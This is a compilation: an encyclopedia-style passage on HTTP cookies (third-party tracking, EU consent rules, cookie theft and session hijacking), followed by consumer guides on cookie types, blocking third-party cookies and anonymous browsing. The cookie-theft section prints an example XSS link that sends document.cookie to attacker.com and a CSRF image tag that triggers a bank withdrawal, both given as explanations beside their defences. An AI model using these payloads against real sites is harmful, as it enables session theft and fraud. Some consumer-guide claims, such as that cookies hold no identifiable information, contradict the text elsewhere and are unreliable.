banner images on its servers and using third-party cookies, the advertising company is able to track the 

browsing of users across these two sites. 

As an example, suppose a user visits www.example.org . This website contains an 

advertisement from ad.foxytracking.com , which, when downloaded, sets a cookie 

belonging to the advertisement's domain ( ad.foxytracking.com ). Then, the user 

visits another website, www.foo.com , which also contains an advertisement 

from ad.foxytracking.com  and sets a cookie belonging to that domain 

(ad.foxytracking.com ). Eventually, both of these cookies will be sent to the 

advertiser when loading their advertisements or visiting their website. The advertiser 
can then use these cookies to build up a browsing history of the user across all the 
websites that have ads from this advertiser, through the use of the HTTP 
referer header field. 

As of 2014, some websites were setting cookies readable for over 100 third-party 
domains.[60] On average, a single website was setting 10 cookies, with a maximum 
number of cookies (first- and third-party) reaching over 800.[61] 

The older standards for cookies, RFC 2109[17] and RFC 2965, recommend that 
browsers should protect user privacy and not allow sharing of cookies between 
servers by default. However, the newer standard, RFC 6265, explicitly allows user 
agents to implement whichever third-party cookie policy they wish. Most modern web 
browsers contain privacy settings that can block third-party cookies, and some now 
block all third-party cookies by default - as of July 2020, such browsers include Apple 
Safari,[62] Firefox,[63] and Brave.[64] Safari allows embedded sites to use Storage Access 
API to request permission to set first-party cookies. In May 2020, Google 
Chrome introduced new features to block third-party cookies by default in its 
Incognito mode for private browsing, making blocking optional during normal 
browsing. The same update also added an option to block first-party 
cookies.[65] Chrome plans to start blocking third-party cookies by default in late 
2024.[66] 

Privacy 
See also: Do Not Track 

The possibility of building a profile of users is a privacy threat, especially when 
tracking is done across multiple domains using third-party cookies. For this reason, 
some countries have legislation about cookies. 

Website operators who do not disclose third-party cookie use to consumers run the 
risk of harming consumer trust if cookie use is discovered. Having clear disclosure 
(such as in a privacy policy) tends to eliminate any negative effects of such cookie 
discovery.[67][failed verification] 

The United States government has set strict rules on setting cookies in 2000 after it 
was disclosed that the White House drug policy office used cookies to track 
computer users viewing its online anti-drug advertising. In 2002, privacy activist 
Daniel Brandt found that the CIA had been leaving persistent cookies on computers 
that had visited its website. When notified it was violating policy, CIA stated that 
these cookies were not intentionally set and stopped setting them. On December 25, 
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2005, Brandt discovered that the National Security Agency (NSA) had been leaving 
two persistent cookies on visitors' computers due to a software upgrade. After being 
informed, the NSA immediately disabled the cookies.[68] 

EU cookie directive 
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In 2002, the European Union launched the Directive on Privacy and Electronic 
Communications (e-Privacy Directive), a policy requiring end users' consent for the 
placement of cookies, and similar technologies for storing and accessing information 
on users' equipment.[69][70] In particular, Article 5 Paragraph 3 mandates that storing 
technically unnecessary data on a user's computer can only be done if the user is 
provided information about how this data is used, and the user is given the possibility 
of denying this storage operation. The Directive does not require users to authorise 
or be provided notice of cookie usage that are functionally required for delivering a 
service they have requested, for example to retain settings, store log-in sessions, or 
remember what is in a user's shopping basket.[71] 

In 2009, the law was amended by Directive 2009/136/EC, which included a change 
to Article 5, Paragraph 3. Instead of having an option for users to opt out of cookie 
storage, the revised Directive requires consent to be obtained for cookie 
storage.[70] The definition of consent is cross-referenced to the definition in European 
data protection law, firstly the Data Protection Directive 1995 and subsequently 
the General Data Protection Regulation (GDPR). As the definition of consent was 
strengthened in the text of the GDPR, this had the effect of increasing the quality of 
consent required by those storing and accessing information such as cookies on 
users devices. In a case decided under the Data Protection Directive however, 
the Court of Justice of the European Union later confirmed however that the previous 
law implied the same strong quality of consent as the current instrument.[72] In 
addition to the requirement of consent which stems from storing or accessing 
information on a user's terminal device, the information in many cookies will be 
considered personal data under the GDPR alone, and will require a legal basis to 
process. This has been the case since the 1995 Data Protection Directive, which 
used an identical definition of personal data, although the GDPR in interpretative 
Recital 30 clarifies that cookie identifiers are included. While not all data processing 
under the GDPR requires consent, the characteristics of behavioural advertising 
mean that it is difficult or impossible to justify under any other ground.[73][74] 

Consent under the combination of the GDPR and e-Privacy Directive has to meet a 
number of conditions in relation to cookies.[75] It must be freely given and 
unambiguous: preticked boxes were banned under both the Data Protection 
Directive 1995[72] and the GDPR (Recital 32).[76] The GDPR is specific that consent 
must be as 'easy to withdraw as to give',[76] meaning that a reject-all button must be 
as easy to access in terms of clicks and visibility as an 'accept all' button.[75] It must 
be specific and informed, meaning that consent relates to particular purposes for the 
use of this data, and all organisations seeking to use this consent must be 
specifically named.[77][78] The Court of Justice of the European Union has also ruled 
that consent must be 'efficient and timely', meaning that it must be gained before 
cookies are laid and data processing begins instead of afterwards.[79] 
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The industry's response has been largely negative. Robert Bond of the law firm 
Speechly Bircham describes the effects as "far-reaching and incredibly onerous" for 
"all UK companies". Simon Davis of Privacy International argues that proper 
enforcement would "destroy the entire industry".[80] However, scholars note that the 
onerous nature of cookie pop-ups stems from an attempt to continue to operate a 
business model through convoluted requests that may be incompatible with the 
GDPR.[73] 

Academic studies and regulators both describe wide-spread non-compliance with the 
law. A study scraping 10,000 UK websites found that only 11.8% of sites adhered to 
minimal legal requirements, with only 33.4% of websites studied providing a 
mechanism to reject cookies that was as easy to use as accepting them.[75] A study of 
17,000 websites found that 84% of sites breached this criterion, finding additionally 
that many laid third party cookies with no notice at all.[81] The UK regulator, 
the Information Commissioner's Office, stated in 2019 that the industry's 
'Transparency and Consent Framework' from the advertising technology group 
the Interactive Advertising Bureau was 'insufficient to ensure transparency and fair 
processing of the personal data in question and therefore also insufficient to provide 
for free and informed consent, with attendant implications for PECR [e-Privacy] 
compliance.'[77] Many companies that sell compliance solutions (Consent 
Management Platforms) permit them to be configured in manifestly illegal ways, 
which scholars have noted creates questions around the appropriate allocation of 
liability.[82] 

A W3C specification called P3P was proposed for servers to communicate their 
privacy policy to browsers, allowing automatic, user-configurable handling. However, 
few websites implement the specification, and the W3C has discontinued work on 
the specification.[83] 

Third-party cookies can be blocked by most browsers to increase privacy and reduce 
tracking by advertising and tracking companies without negatively affecting the 
user's web experience on all sites. Some sites operate 'cookie walls', which make 
access to a site conditional on allowing cookies either technically in a browser, 
through pressing 'accept', or both.[84] In 2020, the European Data Protection Board, 
composed of all EU data protection regulators, stated that cookie walls were illegal. 

In order for consent to be freely given, access to services and functionalities must 
not be made conditional on the consent of a user to the storing of information, or 
gaining of access to information already stored, in the terminal equipment of a user 
(so called cookie walls).[85] 

Many advertising operators have an opt-out option to behavioural advertising, with a 
generic cookie in the browser stopping behavioural advertising.[86][87] However, this is 
often ineffective against many forms of tracking, such as first-party tracking that is 
growing in popularity to avoid the impact of browsers blocking third party 
cookies.[88][89] Furthermore, if such a setting is more difficult to place than the 
acceptance of tracking, it remains in breach of the conditions of the e-Privacy 
Directive.[75] 

Cookie theft and session hijacking 
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Most websites use cookies as the only identifiers for user sessions, because other 
methods of identifying web users have limitations and vulnerabilities. If a website 
uses cookies as session identifiers, attackers can impersonate users' requests by 
stealing a full set of victims' cookies. From the web server's point of view, a request 
from an attacker then has the same authentication as the victim's requests; thus the 
request is performed on behalf of the victim's session. 

Listed here are various scenarios of cookie theft and user session hijacking (even 
without stealing user cookies) that work with websites relying solely on HTTP 
cookies for user identification. 

Network eavesdropping 

 

A cookie can be stolen by another computer that is allowed reading from the network 

Traffic on a network can be intercepted and read by computers on the network other 
than the sender and receiver (particularly over unencrypted open Wi-Fi). This traffic 
includes cookies sent on ordinary unencrypted HTTP sessions. Where network 
traffic is not encrypted, attackers can therefore read the communications of other 
users on the network, including HTTP cookies as well as the entire contents of the 
conversations, for the purpose of a man-in-the-middle attack. 

An attacker could use intercepted cookies to impersonate a user and perform a 
malicious task, such as transferring money out of the victim's bank account. 

This issue can be resolved by securing the communication between the user's 
computer and the server by employing Transport Layer Security (HTTPS protocol) to 

encrypt the connection. A server can specify the Secure  flag while setting a cookie, 

which will cause the browser to send the cookie only over an encrypted channel, 
such as a TLS connection.[42] 

Publishing false sub-domain: DNS cache poisoning 

If an attacker is able to cause a DNS server to cache a fabricated DNS entry 
(called DNS cache poisoning), then this could allow the attacker to gain access to a 
user's cookies. For example, an attacker could use DNS cache poisoning to create a 

fabricated DNS entry of f12345.www.example.com  that points to the IP address of the 

attacker's server. The attacker can then post an image URL from his own server (for 

example, http://f12345.www.example.com/img_4_cookie.jpg ). Victims reading the 

attacker's message would download this image from f12345.www.example.com . 
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Since f12345.www.example.com  is a sub-domain of www.example.com , victims' 

browsers would submit all example.com -related cookies to the attacker's server. 

If an attacker is able to accomplish this, it is usually the fault of the Internet Service 
Providers for not properly securing their DNS servers. However, the severity of this 
attack can be lessened if the target website uses secure cookies. In this case, the 
attacker would have the extra challenge[90] of obtaining the target website's TLS 
certificate from a certificate authority, since secure cookies can only be transmitted 
over an encrypted connection. Without a matching TLS certificate, victims' browsers 
would display a warning message about the attacker's invalid certificate, which would 
help deter users from visiting the attacker's fraudulent website and sending the 
attacker their cookies. 

Cross-site scripting: cookie theft 
Main article: Cross-site scripting 

Cookies can also be stolen using a technique called cross-site scripting. This occurs 
when an attacker takes advantage of a website that allows its users to post 
unfiltered HTML and JavaScript content. By posting malicious HTML and JavaScript 
code, the attacker can cause the victim's web browser to send the victim's cookies to 
a website the attacker controls. 

As an example, an attacker may post a message on www.example.com  with the 

following link: 

<a href="#" onclick="window.location = 

'http://attacker.com/stole.cgi?text=' + escape(document.cookie); return 

false;">Click here!</a> 

 

Cross-site scripting: a cookie that should be only exchanged between a server and a client is sent to 

another party. 

When another user clicks on this link, the browser executes the piece of code within 

the onclick  attribute, thus replacing the string document.cookie  with the list of 

cookies that are accessible from the current page. As a result, this list of cookies is 

sent to the attacker.com  server. If the attacker's malicious posting is on an HTTPS 

website https://www.example.com , secure cookies will also be sent to attacker.com 

in plain text. 

It is the responsibility of the website developers to filter out such malicious code. 

Such attacks can be mitigated by using HttpOnly cookies. These cookies will not be 
accessible by client-side scripting languages like JavaScript, and therefore, the 
attacker will not be able to gather these cookies. 

Cross-site scripting: proxy request 
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In older versions of many browsers, there were security holes in the implementation 
of the XMLHttpRequest API. This API allows pages to specify a proxy server that 
would get the reply, and this proxy server is not subject to the same-origin policy. For 

example, a victim is reading an attacker's posting on www.example.com , and the 

attacker's script is executed in the victim's browser. The script generates a request 

to www.example.com  with the proxy server attacker.com . Since the request is 

for www.example.com , all example.com  cookies will be sent along with the request, 

but routed through the attacker's proxy server. Hence, the attacker would be able to 
harvest the victim's cookies. 

This attack would not work with secure cookies, since they can only be transmitted 
over HTTPS connections, and the HTTPS protocol dictates end-to-end 
encryption (i.e. the information is encrypted on the user's browser and decrypted on 
the destination server). In this case, the proxy server would only see the raw, 
encrypted bytes of the HTTP request. 

Cross-site request forgery 
Main article: Cross-site request forgery 

For example, Bob might be browsing a chat forum where another user, Mallory, has 
posted a message. Suppose that Mallory has crafted an HTML image element that 
references an action on Bob's bank's website (rather than an image file), e.g., 

<img 

src="http://bank.example.com/withdraw?account=bob&amount=1000000&for=mallor

y"> 

If Bob's bank keeps his authentication information in a cookie, and if the cookie 
hasn't expired, then the attempt by Bob's browser to load the image will submit the 
withdrawal form with his cookie, thus authorizing a transaction without Bob's 
approval. 

Cookiejacking 

Cookiejacking is an attack against Internet Explorer which allows the attacker to 
steal session cookies of a user by tricking a user into dragging an object across the 
screen.[91] Microsoft deemed the flaw low-risk because of "the level of required user 
interaction",[91] and the necessity of having a user already logged into the website 
whose cookie is stolen.[92] Despite this, a researcher tried the attack on 150 of their 
Facebook friends and obtained cookies of 80 of them via social engineering.[91] 

Drawbacks of cookies 
Besides privacy concerns, cookies also have some technical drawbacks. In 
particular, they do not always accurately identify users, they can be used for security 
attacks, and they are often at odds with the Representational State Transfer (REST) 
software architectural style.[93][94] 

Inaccurate identification 

If more than one browser is used on a computer, each usually has a separate 
storage area for cookies. Hence, cookies do not identify a person, but a combination 
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of a user account, a computer, and a web browser. Thus, anyone who uses multiple 
accounts, computers, or browsers has multiple sets of cookies.[95] 

Likewise, cookies do not differentiate between multiple users who share the 
same user account, computer, and browser. 

Alternatives to cookies 

Some of the operations that can be done using cookies can also be done using other 
mechanisms. 

Authentication and session management 
JSON Web Tokens 

A JSON Web Token (JWT) is a self-contained packet of information that can be used 
to store user identity and authenticity information. This allows them to be used in 
place of session cookies. Unlike cookies, which are automatically attached to each 
HTTP request by the browser, JWTs must be explicitly attached to each HTTP 
request by the web application. 

HTTP authentication 

The HTTP protocol includes the basic access authentication and the digest access 
authentication protocols, which allow access to a web page only when the user has 
provided the correct username and password. If the server requires such credentials 
for granting access to a web page, the browser requests them from the user and, 
once obtained, the browser stores and sends them in every subsequent page 
request. This information can be used to track the user. 

URL (query string) 

The query string part of the URL is the part that is typically used for this purpose, but 
other parts can be used as well. The Java Servlet and PHP session mechanisms 
both use this method if cookies are not enabled. 

This method consists of the web server appending query strings containing a unique 
session identifier to all the links inside of a web page. When the user follows a link, 
the browser sends the query string to the server, allowing the server to identify the 
user and maintain state. 

These kinds of query strings are very similar to cookies in that both contain arbitrary 
pieces of information chosen by the server and both are sent back to the server on 
every request. However, there are some differences. Since a query string is part of a 
URL, if that URL is later reused, the same attached piece of information will be sent 
to the server, which could lead to confusion. For example, if the preferences of a 
user are encoded in the query string of a URL and the user sends this URL to 
another user by e-mail, those preferences will be used for that other user as well. 

Moreover, if the same user accesses the same page multiple times from different 
sources, there is no guarantee that the same query string will be used each time. For 
example, if a user visits a page by coming from a page internal to the site the first 
time, and then visits the same page by coming from an external search engine the 
second time, the query strings would likely be different. If cookies were used in this 
situation, the cookies would be the same. 
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Other drawbacks of query strings are related to security. Storing data that identifies a 
session in a query string enables session fixation attacks, referer logging attacks and 
other security exploits. Transferring session identifiers as HTTP cookies is more 
secure. 

Hidden form fields 

Another form of session tracking is to use web forms with hidden fields. This 
technique is very similar to using URL query strings to hold the information and has 
many of the same advantages and drawbacks. In fact, if the form is handled with 
the HTTP GET method, then this technique is similar to using URL query strings, 
since the GET method adds the form fields to the URL as a query string. But most 
forms are handled with HTTP POST, which causes the form information, including 
the hidden fields, to be sent in the HTTP request body, which is neither part of the 
URL, nor of a cookie. 

This approach presents two advantages from the point of view of the tracker. First, 
having the tracking information placed in the HTTP request body rather than in the 
URL means it will not be noticed by the average user. Second, the session 
information is not copied when the user copies the URL (to bookmark the page or 
send it via email, for example). 

window.name DOM property 

All current web browsers can store a fairly large amount of data (2–32 MB) via 

JavaScript using the DOM property window.name . This data can be used instead of 

session cookies. The technique can be coupled with JSON/JavaScript objects to 
store complex sets of session variables on the client side. 

The downside is that every separate window or tab will initially have an 

empty window.name  property when opened. 

In some respects, this can be more secure than cookies due to the fact that its 
contents are not automatically sent to the server on every request like cookies are, 
so it is not vulnerable to network cookie sniffing attacks. 

Tracking 
IP address 

Some users may be tracked based on the IP address of the computer requesting the 
page. The server knows the IP address of the computer running the browser (or 
the proxy, if any is used) and could theoretically link a user's session to this IP 
address. 

However, IP addresses are generally not a reliable way to track a session or identify 
a user. Many computers designed to be used by a single user, such as office PCs or 
home PCs, are behind a network address translator (NAT). This means that several 
PCs will share a public IP address. Furthermore, some systems, such as Tor, are 
designed to retain Internet anonymity, rendering tracking by IP address impractical, 
impossible, or a security risk. 

ETag 

Main article: HTTP ETag § Tracking using ETags 

Because ETags are cached by the browser, and returned with subsequent requests 
for the same resource, a tracking server can simply repeat any ETag received from 
the browser to ensure an assigned ETag persists indefinitely (in a similar way to 
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persistent cookies). Additional caching header fields can also enhance the 
preservation of ETag data. 

ETags can be flushed in some browsers by clearing the browser cache. 

Browser cache 

Main article: Web cache 

The browser cache can also be used to store information that can be used to track 
individual users. This technique takes advantage of the fact that the web browser will 
use resources stored within the cache instead of downloading them from the website 
when it determines that the cache already has the most up-to-date version of the 
resource. 

For example, a website could serve a JavaScript file with code that sets a unique 

identifier for the user (for example, var userId = 3243242; ). After the user's initial 

visit, every time the user accesses the page, this file will be loaded from the cache 
instead of downloaded from the server. Thus, its content will never change. 

Browser fingerprint 

Main article: Device fingerprint 

A browser fingerprint is information collected about a browser's configuration, such 
as version number, screen resolution, and operating system, for the purpose of 
identification. Fingerprints can be used to fully or partially identify individual users or 
devices even when cookies are turned off. 

Basic web browser configuration information has long been collected by web 
analytics services in an effort to accurately measure real human web traffic and 
discount various forms of click fraud. With the assistance of client-side 
scripting languages, collection of much more esoteric parameters is 
possible.[96][97] Assimilation of such information into a single string constitutes a device 
fingerprint. In 2010, EFF measured at least 18.1 bits of entropy possible from 
browser fingerprinting.[98] Canvas fingerprinting, a more recent technique, claims to 
add another 5.7 bits. 

Web storage 
Main article: Web storage 

Some web browsers support persistence mechanisms which allow the page to store 
the information locally for later use. 

The HTML5 standard (which most modern web browsers support to some extent) 
includes a JavaScript API called Web storage that allows two types of storage: local 
storage and session storage. Local storage behaves similarly to persistent 
cookies while session storage behaves similarly to session cookies, except that 
session storage is tied to an individual tab/window's lifetime (AKA a page session), 
not to a whole browser session like session cookies.[99] 

Internet Explorer supports persistent information[100] in the browser's history, in the 
browser's favorites, in an XML store ("user data"), or directly within a web page 
saved to disk. 

Some web browser plugins include persistence mechanisms as well. For 
example, Adobe Flash has Local shared object and Microsoft Silverlight has Isolated 
storage.[101] 
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See also 

 Internet portal 

 Computer programming portal 

 Session (computer science) 

 Secure cookie 

 HTTP Strict Transport Security § Privacy issues 
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o Encryption 

 OCSP 

 WebRTC 

 WebSocket 
 

 

Active 

Blink-

based 

 Google Chrome 

 Chromium 
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 Microsoft Edge 
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 Otter 
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Gecko-
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 Firefox 

 GNU IceCat 

 PirateBrowser 

 SlimBrowser 

 Tor Browser 

 Gecko forks  

o Basilisk 
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 surf 

Other 

 360 

 DuckDuckGo 
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 Flow 

 Links 
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 QQ browser 
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based 

 Beonex Communicator 
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 Conkeror 

 Firefox Lite 

 Galeon 

 Ghostzilla 

 IceDragon 

 Kazehakase 

 Kylo 

 Lotus 

 MicroB 

 Minimo 

 Mozilla suite 

 Pogo 

 Strata 

 Swiftfox 

 Swiftweasel 

 TenFourFox 

 Timberwolf 

 xB 

MSHTML-

based 
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 Google TV 
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 OmniWeb 

 Origyn 
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 QtWeb 

 rekonq 

 Shiira 

 Steel 

 Browser for Symbian 

 Uzbl 

 WebPositive 

 xombrero 

Other 

 abaco 

 Amaya 

 Arachne 

 Arena 

 Avant 

 Blazer 

 Cake 

 Charon 

 CM Browser 

 Deepfish 

 Dillo 
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 HotJava 

 IBM Home Page Reader 
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Many people raise concerns about privacy due to how cookies track your 
browsing habits and collect personal data. 

Cookies have existed for almost as long as the internet, and it’s 
important to understand how they work and how to keep your online data 
safe. Keep reading to learn more about internet cookies and what you 
can do to protect your privacy. 

 
+ 
In this article 

 

What are internet cookies? 

Cookies are small text files containing unique data to identify your 
computer to the network. When you visit a website, it gives your browser 
a cookie to store in a cookie file that’s placed in your browser’s folder on 
your hard drive. The next time you visit the same website, the browser 
will give back the cookie to identify you. Then the website loads with a 
personalized experience. 

Cookies do contain data, and that typically includes a unique identifier 
and a site name. A cookie could also include personally identifiable 
information such as your name, address, email, or phone number if 
you’ve provided that information to a website. 

A simple example of cookies is when you open up a website and your 
username and password are auto-filled. Cookies provided your login 
information to the website. Another example is when you go online 
shopping on Amazon and find items that are still in your cart from your 
last purchasing spree. 

What are cookies used for on 
websites? 

The main purpose of web cookies is to make the internet experience 
easier for users. When websites can remember your past visits, they can 
load their website with your preferences. Here are a few things cookies 
can do when you visit a website: 

 Set your chosen language preference 
 Remember items in a shopping cart 

https://allaboutcookies.org/what-is-a-cookie-file


 Remember if certain settings are turned on 
 Authenticate your identity 
 Prevent fraud 
 Create highly targeted ads 
 Track how you interact with ads 
 Make personalized content recommendations 
 Track items you view in an online store 
 Auto-fill information in forms 

11 different types of computer cookies 

There are different types of computer cookies each tasked with a 
responsibility to track certain aspects of you or your online behavior. 
Some cookies are necessary for websites to load properly, whereas 
others are purely for marketing purposes. 

Knowing the difference can help you choose which cookies you would 
like to allow the next time you visit a website asking for your cookie 
preferences. 

1. Magic cookies 

Magic cookies were originally used by Unix programmers to authenticate 
and track users in a system. Magic cookies are data tokens that allow 
servers and web browsers to communicate. 

HTTP cookies are a type of magic cookie used by websites to store 
information. The data stored in magic cookies are encrypted and, under 
normal circumstances, only the server that created the cookie can read 
the data. 

2. HTTP cookies 

HTTP cookies are the internet version of magic cookies. They were 
specifically designed for the web, and this is where all modern cookies 
are derived from. Lou Montulli invented the HTTP cookies in 1994 to help 
websites remember the users visiting them and lessen the burden on 
web servers. 

3. First-party cookies 

First-party cookies are from websites you directly visit in your browser 
and are used to improve your online user experience. They often store 
information relevant to the website such as what you’ve viewed in the 
past or your settings preferences. 

https://allaboutcookies.org/cookies-personalized-content
https://allaboutcookies.org/what-are-web-browsers


As long as you are visiting authentic and reputable websites, first-party 
cookies are usually harmless and make it easier to browse your favorite 
websites. 

4. Third-party cookies 

Third-party cookies are probably the most controversial type of cookie in 
terms of data privacy. They usually track your behavior for advertising 
purposes and aren't a direct part of the websites you visit. Instead, 
they’re usually embedded in ads, videos, or web banners. Even a 
Facebook "like" button uses third-party cookies. 

5. Zombie cookies 

Also known as supercookies, zombie cookies are a type of third-party 
cookie. However, they aren't stored in the same place as regular 
cookies. So even if a person deletes cookies, zombie cookies will rise 
from the dead and reinstall themselves. They have gained a reputation 
for being notoriously difficult to remove. 

6. Session cookies 

Session cookies work by storing information while you're browsing a 
website. This means it won't have to reauthenticate you for every web 
page you visit. Once you exit, your browser deletes all session cookies. 

Session cookies enable you to add an item to your shopping cart, 
browse multiple other pages, and then still keep track of your item in 
your cart. 

7. Persistent cookies 

Persistent cookies are used to track and collect information about you. 
This particular cookie enables websites to remember if you're logged in 
and under what account. It's also used to build a profile on your search 
history, so websites can recommend products, services, or content 
relevant to you. Most of these cookies usually have an expiration date. 

8. Essential cookies 

You're probably familiar with the banner or pop-up asking you for your 
cookie preferences for a website. Essential cookies are frequently an 
option to run only cookies necessary to run the website or for services 
you have requested (such as remembering your login credentials). This 
means you remove third-party cookies from your website experience. 
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Why do so many websites ask me to accept cookies? 

You may notice more and more website pop-ups that ask you to accept 
cookies. That’s because these sites are required to ask for permission 
and provide you with information on how they use cookies, per the 
EU’s General Data Protection Regulation (GDPR) and the California 

Consumer Privacy Act (CCPA). 

9. Performance cookies 

As the name suggests, performance cookies track your online 
movements and that data is used to improve the website. They measure 
analytics like how many times you visited a page, how much time you 
spent on a page, or when you left the website. This is often a first-party 
cookie, but many websites use a third party to track these analytics. 

10. Functionality cookies 

Functionality cookies allow you to use the fundamental features of a 
website. This could be anything from your language preference to 
displaying local news stories. They typically enhance a website's 
performance and functionality. Some site features may not be available 
without functional cookies. 

11. Advertising cookies 

Third-party persistent cookies are often used for advertising purposes. 
Advertising cookies (also called targeting cookies) build a profile on you 
based on your interests, search history, and items you view. They then 
share that information with other websites, so they can advertise relevant 
products and services to you. 

For example, maybe you searched for gym shoes recently. Don't be too 
surprised later when you see an ad on social media for gym shoes or 
relevant items such as socks. 

Are computer cookies safe? 

A normal cookie from a trusted website is generally safe to accept. 
Cookies don't contain any identifiable information and are mostly used to 
ensure you have a smooth browsing experience by remembering your 
preferences and authenticating your identity. 

Cookies can't be used to download malicious software. However, cookie 
poisoning (or impersonating authentic cookies) could lead to falsifying an 
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authentic user's identity or using legitimate session IDs to perform 
malicious actions on a website. 

In terms of unsafe cookies, zombie cookies are also difficult to remove. 
You'll need to find and delete the cookie which continues to reinstall 
deleted zombie cookies. A system cleaner may be the best way to 
sanitize your device for malware and unwanted files. 

Are third-party cookies safe? 

Third-party cookies can't discover who you are personally, but they will 
know a lot about your interests and what you do based on your recent 
web searches and browsing history. 

This is valuable information to advertisers, and it's often sold to them. 
User privacy advocates point out concerns about how this data is getting 
used and sold without the user's knowledge of it even getting collected. 
The lack of digital privacy may not be ideal for many people. 

Should you accept third-party 
cookies? 

Third-party cookies have no direct impact on your browsing experience, 
and many browsers have already phased them out. Websites still load 
properly and remember your preferences without using third-party 
cookies. 

If online privacy is a priority for you, then you may want to consider 
blocking third-party cookies on your preferred browser if it doesn't do it 
already. 

You may want to consider allowing third-party cookies if you prefer 
having ads relevant to you. Otherwise, you may get mismatched 
advertising which could be more annoying than seeing ads for products 
you might actually like. 

How to disable third-party cookies 

Disabling third-party cookies can mitigate the risk of your online data 
getting shared with advertisers. Here is a simple guide to disabling 
and managing cookies for popular browsers: 

Google Chrome 
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1. To clear Chrome cookies, open your browser. 
2. At the top right, click the three vertical dots to open a drop-down menu. 
3. Select "Settings." 
4. Under "Privacy and security", click "Cookies and other site data." 
5. Select an option like "Block third party cookies" or "Block third-party 

cookies in Incognito." 

Mozilla Firefox 

1. Open the Firefox browser. 
2. At the top right, click the three horizontal lines to open a menu. 
3. Select "Settings." 
4. Tap the "Privacy & Security" panel. 
5. Under "Enhanced Tracking Protection", select "Custom." 
6. Check mark "Cookies" and choose your cookie preference in the 

accompanying drop-down menu. 

Microsoft Edge 

1. Open the Microsoft Edge browser. 
2. At the top right, select the three dots icon to open a menu. 
3. Select "Settings." 
4. Choose "Site permissions." 
5. Tap "Manage and delete cookies and site data." 
6. Turn on "Block third-party cookies." 

Apple Safari 

1. Open the Safari app. 
2. Tap "Safari" at the top of the navigation bar. 
3. Select "Preferences." 
4. Click "Privacy." 
5. Choose your cookie preferences like "Always block cookies " or "Prevent 

cross-site tracking." 

Internet cookie FAQs 

 
+ 

Should I accept cookies? 

 
+ 
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What information does a computer cookie contain? 
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Can cookies steal passwords? 
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What types of computer cookies are there? 

  
  

  
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  
  
  
  
  
  
  
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Can cookies track you? 

 
+ 

Can I get hacked by accepting cookies? 

 
+ 

Why do websites use cookies? 

 

Bottom line 



Computer cookies are a crucial part of the internet. It simply can't run 
efficiently without them. 

However, not all cookies are necessary. Third-party cookies are used for 
advertising and analytical purposes to track your online movement and 
internet searches. Although not malicious in the same way as a virus, 
you may not like the idea of your privacy being compromised and sold to 
advertisers. 

Disabling third-party cookies is the best way to stop companies from 
tracking your online usage. There are a few ways you can take to protect 
your privacy online: 

 Block third-party cookies 
 Customize your cookie settings 
 Use your browser's incognito mode 
 Delete cookies after every session or on a regular basis 
 Use a VPN, especially when using public Wi-Fi 
 Enable two-factor authentication 
 Use a password manager instead of your browser to store passwords 

Read our guide on how to browse online anonymously to find out other 
ways you can protect your online privacy. 
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Not surprisingly, identity theft and malware are major issues. 560,000 
new pieces of malware get discovered every day, and there were more 
than 1,400,000 reports of identity theft in 2021.[1, 2] 

If you want to keep your sensitive information private and don’t know 
how, there is no need to worry. Many people are in your situation, and 
there are several tools and resources to help you gain online anonymity.  

Keep reading our guide to learn your options on how to browse the 
internet anonymously. 
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How to browse online anonymously 

You can browse online anonymously by using a VPN, hiding your IP 
address, or using a password manager. You can also switch the 
operating system you use and go online in incognito mode. 

All of these options give you the resources you need to keep your online 
browsing anonymous. We’ll dive into them further so you can decide 
which ones are right for you. 

1. Use a VPN 

You can use a virtual private network (VPN) as a secure way to connect 
to the internet. A VPN is available on mobile devices, laptops, and 
desktop PCs. It encrypts your data when you’re online and keeps your 
browsing activity and credentials private. 

Using a VPN keeps you invisible to others online while giving you access 
to the websites and media you want to browse. You may even access 
blocked websites you couldn’t see without a VPN. 

When choosing a VPN, you want to pick one with a zero-logs policy. A 
zero-logs (no-logs) VPN is a service that won’t store your data regarding 
online activity. With this service, your VPN provider won’t be able to see 
what you’re doing online. Here are a few VPN recommendations: 

 NordVPN: You get unlimited bandwidth with NordVPN and a verified no-
logs policy. It's also one of the best VPNs for watching Netflix in other 
countries. 

 Surfshark: Surfshark offers a lower price than some other VPNs and 
gives you extra features, such as a hefty 3,200+ VPN servers and 
unlimited connections. 

 atlasVPN: At $1.83 per month for three years, atlasVPN is the cheapest 
of these three options. You get unlimited device protection and other 
features, such as a kill switch and data breach monitor. 
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You’ll want to remember that you can find free VPNs that offer no-log 
policies, but most of them make money by tracking your data. They then 
sell that data to advertisers, so be careful if you choose a free VPN and 
read the fine print to know what you’re getting. 

2. Switch to Linux 

Linux may be a lesser-known operating system than Windows or Mac, 
but it also may be the most secure. Because it’s a Unix-based operating 
system, it may have fewer security flaws than Windows or Mac. 

Linux code gets reviewed by the company, which helps with security 
checks. That means you may have hundreds of people reading through 
every line of operating system code, which decreases the chances of 
security issues. 

Linux is also an open-source operating system, which means it is 
publicly accessible. With open-source platforms, you get an entire 
community of people who can solve security issues faster. 

Apple (Mac) and Microsoft Windows take around 69 and 83 days to 
resolve issues, respectively. In comparison, average security issues take 
25 days to get resolved with Linux. 

3. Hide your IP address 

You can hide your IP address using a VPN or proxy server. Your IP 

address is the set of numbers that identifies your device on the internet. 

A proxy server will direct your internet traffic for you. You can think of it 
as a wall in front of your online activity, handling things on your behalf.  

With a proxy server or VPN, you can also use public Wi-Fi because 
these tools will hide your IP address once you join the public network. 
But this could also be a not-so-effective method because some free Wi-
Fi services may have other security issues. 

4. Use a password manager 

Most, if not all, of your online accounts require passwords. You may use 
easy passwords that are simple to remember. Sometimes you may feel 
like creating strong passwords is too daunting a task. 
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If you’ve found either of these to be the case, you may need a password 

manager. If you don’t use strong passwords, you make it too easy for 
cybercriminals to breach your sensitive data. 

A password manager is an app that generates random, secure 
passwords for all the sites you browse online. The app stores your 
credentials in an online vault for security. When you go to a site and 
need to log in, your password manager fills in your information and 
saves you time while keeping your data private. Many password 
managers will alert you if your passwords are not strong enough or have 
shown up in a data breach. 

5. Browse in incognito mode 

Browsing in incognito mode is a way to open private web browsing 
sessions. Incognito mode usually refers to browsing in Google Chrome. 
Other browsers may refer to this as “private browsing.” 

Using incognito mode helps to keep your browsing habits more private, 
but it doesn’t give you complete privacy. Incognito mode won’t hide your 
IP address or prevent your internet service provider from tracking your 
online browsing activity. 

It can be beneficial to use incognito mode because the web browser 
won’t save your history or data. You also won’t have to clear your 

cookies, as that information is not saved either. It can also be useful if 
you share devices because other users won’t see your history. Incognito 
mode is a more private way to use the internet. 

The Privacy Badger extension blocks trackers 

Created by the Electronic Frontier Foundation, a nonprofit  that 
investigates and defends civil liberties on the internet, Privacy Badger is 
